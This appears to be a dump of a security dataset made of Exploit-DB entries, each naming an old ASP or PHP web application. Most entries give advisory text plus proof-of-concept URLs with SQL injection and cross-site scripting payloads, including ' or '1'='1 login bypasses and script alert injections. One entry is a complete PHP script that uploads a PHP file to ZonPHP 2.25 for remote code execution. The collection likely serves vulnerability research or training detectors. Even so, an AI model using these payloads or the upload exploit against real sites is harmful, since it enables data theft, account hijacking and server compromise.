QLWD/code_shield huggingface dataset:
标题: Enthrallweb eClassifieds - 'ad.asp' Multiple SQL Injections EDB-ID: 29118 CVE: 2006-6208 类型: WEBAPPS 平台: ASP 发布日期: 2006-11-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/21192/info

eClassifieds is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.

http://www.example.com/ad.asp?AD_ID=[sql]
http://www.example.com/ad.asp?cat_id=[sql]
http://www.example.com/ad.asp?cat_id=35&sub_id=[sql]
http://www.example.com/ad.asp?cat_id=35&sub_id=102&ad_id=[sql] URL: https://www.exploit-db.com/exploits/29118
标题: Grandora Rialto 1.6 - 'searchkey.asp' Multiple SQL Injections EDB-ID: 29111 CVE: 2006-6927 类型: WEBAPPS 平台: ASP 发布日期: 2006-11-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/21191/info
    
Grandora Rialto is prone to multiple input-validation vulnerabilities, including SQL-injection and cross-site scripting issues, because it fails to sufficiently sanitize user-supplied data.
    
Exploiting this issue could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.
    
Version 1.6 is vulnerable; other versions may also be affected.

http://www.example.com/searchkey.asp?Keyword='[sql]
http://www.example.com/searchkey.asp?Keyword=1&I1=1&searchin='[sql] URL: https://www.exploit-db.com/exploits/29111
标题: Grandora Rialto 1.6 - '/admin/default.asp' Multiple SQL Injections EDB-ID: 29107 CVE: 2006-6927 类型: WEBAPPS 平台: ASP 发布日期: 2006-11-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/21191/info

Grandora Rialto is prone to multiple input-validation vulnerabilities, including SQL-injection and cross-site scripting issues, because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.

Version 1.6 is vulnerable; other versions may also be affected.

http://www.example.com/admin/default.asp
username: ' or '1' = '1
passwd: ' or '1' = '1 URL: https://www.exploit-db.com/exploits/29107
标题: Grandora Rialto 1.6 - 'listfull.asp?ID' SQL Injection EDB-ID: 29108 CVE: 2006-6927 类型: WEBAPPS 平台: ASP 发布日期: 2006-11-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/21191/info
 
Grandora Rialto is prone to multiple input-validation vulnerabilities, including SQL-injection and cross-site scripting issues, because it fails to sufficiently sanitize user-supplied data.
 
Exploiting this issue could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.
 
Version 1.6 is vulnerable; other versions may also be affected.

http://www.example.com/listfull.asp?ID='[sql] URL: https://www.exploit-db.com/exploits/29108
标题: vSpin Classified System 2004 - 'search.asp' Multiple SQL Injections EDB-ID: 29104 CVE: 2006-6152 类型: WEBAPPS 平台: ASP 发布日期: 2006-11-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/21190/info
 
vSpin Classified System is prone to multiple input-validation vulnerabilities, including SQL-injection and cross-site scripting issues, because the application fails to sufficiently sanitize user-supplied data.
 
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.
 
http://www.example.com/search.asp?in=y&keyword='[sql]
http://www.example.com/search.asp?in=y&keyword=1&submit=Search&order='[sql]
http://www.example.com/search.asp?in=y&keyword=1&submit=Search&order=tbl_classads.col_id&sort='[sql]
http://www.example.com/search.asp?in=y&keyword=1&submit=Search&order=tbl_classads.col_id&sort=DESC&cat=0&menuSelect='[sql]
http://www.example.com/search.asp?in=y&keyword=1&submit=Search&order=tbl_classads.col_id&sort=DESC&cat=0&menuSelect=1&type=1&city=1&minprice=1&maxprice=1&state='[sql] URL: https://www.exploit-db.com/exploits/29104
标题: Grandora Rialto 1.6 - 'listmain.asp?cat' SQL Injection EDB-ID: 29109 CVE: 2006-6927 类型: WEBAPPS 平台: ASP 发布日期: 2006-11-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/21191/info
  
Grandora Rialto is prone to multiple input-validation vulnerabilities, including SQL-injection and cross-site scripting issues, because it fails to sufficiently sanitize user-supplied data.
  
Exploiting this issue could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.
  
Version 1.6 is vulnerable; other versions may also be affected.

http://www.example.com/listmain.asp?cat='[sql] URL: https://www.exploit-db.com/exploits/29109
标题: vSpin Classified System 2004 - 'search.asp?minprice' Cross-Site Scripting EDB-ID: 29106 CVE: 2006-6153 类型: WEBAPPS 平台: ASP 发布日期: 2006-11-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/21190/info
   
vSpin Classified System is prone to multiple input-validation vulnerabilities, including SQL-injection and cross-site scripting issues, because the application fails to sufficiently sanitize user-supplied data.
   
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.
   
http://www.example.com/search.asp?in=y&keyword=1&submit=Search&order=tbl_classads.col_id&sort=DESC&cat=0&menuSelect=1&type=1&city=1&minprice=[xss] URL: https://www.exploit-db.com/exploits/29106
标题: vSpin Classified System 2004 - 'cat.asp?catname' Cross-Site Scripting EDB-ID: 29105 CVE: 2006-6153 类型: WEBAPPS 平台: ASP 发布日期: 2006-11-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/21190/info
  
vSpin Classified System is prone to multiple input-validation vulnerabilities, including SQL-injection and cross-site scripting issues, because the application fails to sufficiently sanitize user-supplied data.
  
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.
  
http://www.example.com/cat.asp?cat=1&catname=[xss] URL: https://www.exploit-db.com/exploits/29105
标题: vSpin Classified System 2004 - 'cat.asp?cat' SQL Injection EDB-ID: 29103 CVE: 2006-6152 类型: WEBAPPS 平台: ASP 发布日期: 2006-11-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/21190/info

vSpin Classified System is prone to multiple input-validation vulnerabilities, including SQL-injection and cross-site scripting issues, because the application fails to sufficiently sanitize user-supplied data.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.

http://www.example.com/cat.asp?cat='[sql] URL: https://www.exploit-db.com/exploits/29103
标题: BirdBlog 1.4 - '/admin/logs.php?page' Cross-Site Scripting EDB-ID: 29101 CVE: 2006-6211 类型: WEBAPPS 平台: PHP 发布日期: 2006-11-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/21184/info
   
BirdBlog is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input. 
   
An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
   
Version 1.4.0 is vulnerable; other versions may also be affected.

http://www.example.com/[path]/admin/logs.php?page="><script>alert('Xmors')</script>< URL: https://www.exploit-db.com/exploits/29101
标题: Blog:CMS 4.1.3 - 'list.php' Cross-Site Scripting EDB-ID: 29095 CVE: 2006-6035 类型: WEBAPPS 平台: PHP 发布日期: 2006-11-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/21173/info

BLOG:CMS is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

BLOG:CMS 4.1.3 and prior versions are vulnerable; other versions may also be affected.

http://www.example.com/[path]/list.php?FADDR="><script>alert("XSS");</script> URL: https://www.exploit-db.com/exploits/29095
标题: BirdBlog 1.4 - '/admin/admincore.php?msg' Cross-Site Scripting EDB-ID: 29098 CVE: 2006-6211 类型: WEBAPPS 平台: PHP 发布日期: 2006-11-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/21184/info

BirdBlog is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input. 

An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Version 1.4.0 is vulnerable; other versions may also be affected.

http://www.example.com/[path]/admin/admincore.php?msg="><script>alert('Xmors')</script>< URL: https://www.exploit-db.com/exploits/29098
标题: BirdBlog 1.4 - '/admin/entries.php?month' Cross-Site Scripting EDB-ID: 29100 CVE: 2006-6211 类型: WEBAPPS 平台: PHP 发布日期: 2006-11-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/21184/info
  
BirdBlog is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input. 
  
An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
  
Version 1.4.0 is vulnerable; other versions may also be affected.

http://www.example.com/[path]/admin/entries.php?month="><script>alert('Xmors')</script>< URL: https://www.exploit-db.com/exploits/29100
标题: BirdBlog 1.4 - '/admin/comments.php?month' Cross-Site Scripting EDB-ID: 29099 CVE: 2006-6211 类型: WEBAPPS 平台: PHP 发布日期: 2006-11-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/21184/info
 
BirdBlog is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input. 
 
An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
 
Version 1.4.0 is vulnerable; other versions may also be affected.

http://www.example.com/[path]/admin/comments.php?month="><script>alert('Xmors')</script>< URL: https://www.exploit-db.com/exploits/29099
标题: Texas Rankem - 'selPlayer' SQL Injection EDB-ID: 29093 CVE: 2006-6050 类型: WEBAPPS 平台: ASP 发布日期: 2006-11-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/21168/info

ClickTech Texas Rank'em is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.

http://www.example.com/path/player.asp?player_id=14&selPlayer=[SQL INJECTION] URL: https://www.exploit-db.com/exploits/29093
标题: Active News Manager - 'catID' SQL Injection EDB-ID: 29089 CVE: 2006-6094 类型: WEBAPPS 平台: ASP 发布日期: 2006-11-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/21167/info
   
Active News Manger is prone to multiple input-validation vulnerabilities, including SQL-injection issues and a cross-site scripting issue, because it fails to sufficiently sanitize user-supplied data.
   
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.
   
http://www.example.com/path/activeNews_categories.asp?catID=[SQL INJECTION] URL: https://www.exploit-db.com/exploits/29089
标题: ActiveNews Manager - 'page' SQL Injection EDB-ID: 29087 CVE: 2006-6095 类型: WEBAPPS 平台: ASP 发布日期: 2006-11-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/21167/info
 
Active News Manger is prone to multiple input-validation vulnerabilities, including SQL-injection issues and a cross-site scripting issue, because it fails to sufficiently sanitize user-supplied data.
 
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.
 
http://www.example.com/path/default.asp?page=[SQL INJECTION] URL: https://www.exploit-db.com/exploits/29087
标题: ActiveNews Manager - 'query' Cross-Site Scripting EDB-ID: 29088 CVE: 2006-6096 类型: WEBAPPS 平台: ASP 发布日期: 2006-11-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/21167/info
  
Active News Manger is prone to multiple input-validation vulnerabilities, including SQL-injection issues and a cross-site scripting issue, because it fails to sufficiently sanitize user-supplied data.
  
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.
  
http://www.example.com/path/activenews_search.asp?query=[XSS] URL: https://www.exploit-db.com/exploits/29088
标题: BestWebApp Dating Site Login Component - Multiple Field SQL Injections EDB-ID: 29080 CVE: 2006-6021 类型: WEBAPPS 平台: ASP 发布日期: 2006-11-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/21158/info

BestWebApp Dating Site is prone to multiple input-validation vulnerabilities, including cross-site scripting and SQL-injection issues, because it fails to sufficiently sanitize user-supplied input.

An attacker could exploit these issues to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.

username = ' or '1' = '1'
passwd = ' or '1' = '1' URL: https://www.exploit-db.com/exploits/29080
标题: Texas Rankem - 'tournament_id' SQL Injection EDB-ID: 29094 CVE: 2006-6050 类型: WEBAPPS 平台: ASP 发布日期: 2006-11-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/21168/info
 
ClickTech Texas Rank'em is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
 
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.
 
http://www.example.com/path/tournaments.asp?tournament_id=[SQL INJECTION] URL: https://www.exploit-db.com/exploits/29094
标题: A-Cart Pro 2.0 - 'product.asp?ProductID' SQL Injection EDB-ID: 29084 CVE: 2006-6111 类型: WEBAPPS 平台: ASP 发布日期: 2006-11-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/21166/info

A-Cart is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.

A-Cart 2.0 and A-Cart Pro are vulnerable; other versions may also be affected.

http://www.example.com/path/product.asp?productid=[SQL INJECTION] URL: https://www.exploit-db.com/exploits/29084
标题: ZonPHP 2.25 - Remote Code Execution EDB-ID: 29091 CVE: 2011-4275 2009-4140 类型: WEBAPPS 平台: PHP 发布日期: 2013-10-20 漏洞利用脚本: # Exploit Title: ZonPHP V2.25 RCE Vulnerability
# Google Dork: intext:"Made by SLAPER"
# Date: 21-10-2013
# Exploit Author: Halim Cruzito
# Vendor Homepage: http://www.slaper.be
# Software Link: http://www.slaper.be/zonPHPv225.zip
# Version: v2.25
# Tested on: Windows 7

# PoC:

<?php

$url = "http://server/";
$path = "ofc/ofc_upload_image.php?name=";
$filename = "up.php";
$data = "<?php phpinfo(); ?>";
$headers = array("User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:24.0) Gecko/20100101 Firefox/24.0",�
"Content-Type: text/plain");


$rc = curl_init();
curl_setopt($rc, CURLOPT_URL, $url.$path.$filename);
curl_setopt($rc, CURLOPT_HTTPHEADER, $headers);
curl_setopt($rc, CURLOPT_POST, 1);
curl_setopt( $rc, CURLOPT_SSL_VERIFYPEER, 1);
curl_setopt($rc, CURLOPT_POSTFIELDS, $data);
curl_setopt($rc, CURLOPT_RETURNTRANSFER, 1);
$ex = curl_exec($rc);
curl_close($rc);�

$shelllink = ''.$url.''.$filename.'';
echo '<a href="'.$shelllink.'" target="blank">Exploited Click Here!</a>';

?>


�===============================================
|Loveto:Karoxx Puyoo ^^ and all Malaysian HaXor |
�=============================================== URL: https://www.exploit-db.com/exploits/29091
标题: ActiveNews Manager - 'articleId' SQL Injection (2) EDB-ID: 29090 CVE: 2006-6094 类型: WEBAPPS 平台: ASP 发布日期: 2006-11-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/21167/info
    
Active News Manger is prone to multiple input-validation vulnerabilities, including SQL-injection issues and a cross-site scripting issue, because it fails to sufficiently sanitize user-supplied data.
    
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.
    
http://www.example.com/path/activeNews_comments.asp?articleID=[SQL INJECTION] URL: https://www.exploit-db.com/exploits/29090
标题: vBulletin 3.6.x - Admin Control Panel Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 29079 CVE: 2006-6040 类型: WEBAPPS 平台: PHP 发布日期: 2006-11-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/21157/info

vBulletin is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input data.

An attacker could exploit this vulnerability to have arbitrary script code execute in the context of the affected site. This may allow an attacker to steal cookie-based authentication credentials and to launch other attacks.

Versions 3.6.0 to 3.6.3 are vulnerable; other versions may also be affected.

http://www.example.com/vbulletin/admincp/index.php?do=buildnavprefs&nojs=0&prefs= "><script>alert("insanity")</script> http://www.example.com/vbulletin/admincp/index.php?do=savenavprefs&nojs=0&navprefs= "><script>alert("insanity")</script> URL: https://www.exploit-db.com/exploits/29079
标题: Alan Ward A-CART 2.0 - 'category.asp?catcode' SQL Injection (1) EDB-ID: 29085 CVE: 2004-1873 类型: WEBAPPS 平台: ASP 发布日期: 2006-11-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/21166/info
 
A-Cart is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
 
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.
 
A-Cart 2.0 and A-Cart Pro are vulnerable; other versions may also be affected.

http://www.example.com/path/category.asp?catcode=[SQL INJECTION] URL: https://www.exploit-db.com/exploits/29085
标题: ActiveNews Manager - 'articleId' SQL Injection (1) EDB-ID: 29086 CVE: 2006-6095 类型: WEBAPPS 平台: ASP 发布日期: 2006-11-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/21167/info

Active News Manger is prone to multiple input-validation vulnerabilities, including SQL-injection issues and a cross-site scripting issue, because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.

http://www.example.com/path/activenews_view.asp?articleID=[SQL INJECTION] URL: https://www.exploit-db.com/exploits/29086
标题: 20/20 Applications Data Shed 1.0 - 'listings.asp' Multiple SQL Injections EDB-ID: 29078 CVE: 2006-6067 类型: WEBAPPS 平台: ASP 发布日期: 2006-11-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/21156/info
 
20/20 DataShed is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
 
Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.
 
Version 1.0 is vulnerable.

http://www.example.com/listings.asp?peopleID='[sql]
http://www.example.com/listings.asp?sort_order='[sql] URL: https://www.exploit-db.com/exploits/29078
标题: BestWebApp Dating Site - 'login_form.asp?msg' Cross-Site Scripting EDB-ID: 29081 CVE: 2006-6022 类型: WEBAPPS 平台: ASP 发布日期: 2006-11-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/21158/info
 
BestWebApp Dating Site is prone to multiple input-validation vulnerabilities, including cross-site scripting and SQL-injection issues, because it fails to sufficiently sanitize user-supplied input.
 
An attacker could exploit these issues to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.
 
login_form.asp?msg=[xss here] URL: https://www.exploit-db.com/exploits/29081
标题: 20/20 Auto Gallery 3.2 - Multiple SQL Injections EDB-ID: 29075 CVE: 2006-6092 类型: WEBAPPS 平台: ASP 发布日期: 2006-11-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/21154/info

20/20 Auto Gallery is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in an SQL query. 

A successful exploit could allow an attacker to compromise the application, access or modify data, exploit vulnerabilities in the underlying database implementation, and gain unauthorized access to the affected application.

http://example.com/vehiclelistings.asp?vehicleID=[sql]
http://example.com/vehiclelistings.asp?categoryID_list=[sql]
http://example.com/vehiclelistings.asp?sale_type=[sql]
http://example.com/vehiclelistings.asp?sale_type=&categoryID_list=[sql]
http://example.com/vehiclelistings.asp?trKeywords=123&boolean=OR&stock_number=[sql]
http://example.com/vehiclelistings.asp?sale_type=&categoryID_list=&manufacturer=[sql]
http://example.com/vehiclelistings.asp?sale_type=&categoryID_list=&manufacturer=&model=[sql]
http://example.com/vehiclelistings.asp?trKeywords=123&boolean=OR&stock_number=&vehicleID=[sql]
http://example.com/vehiclelistings.asp?sale_type=&categoryID_list=&manufacturer=&model=&year=[sql]
http://example.com/vehiclelistings.asp?trKeywords=123&boolean=OR&stock_number=&vehicleID=&vin=[sql]
http://example.com/vehiclelistings.asp?sale_type=&categoryID_list=&manufacturer=&model=&year=&listing_price=[sql] URL: https://www.exploit-db.com/exploits/29075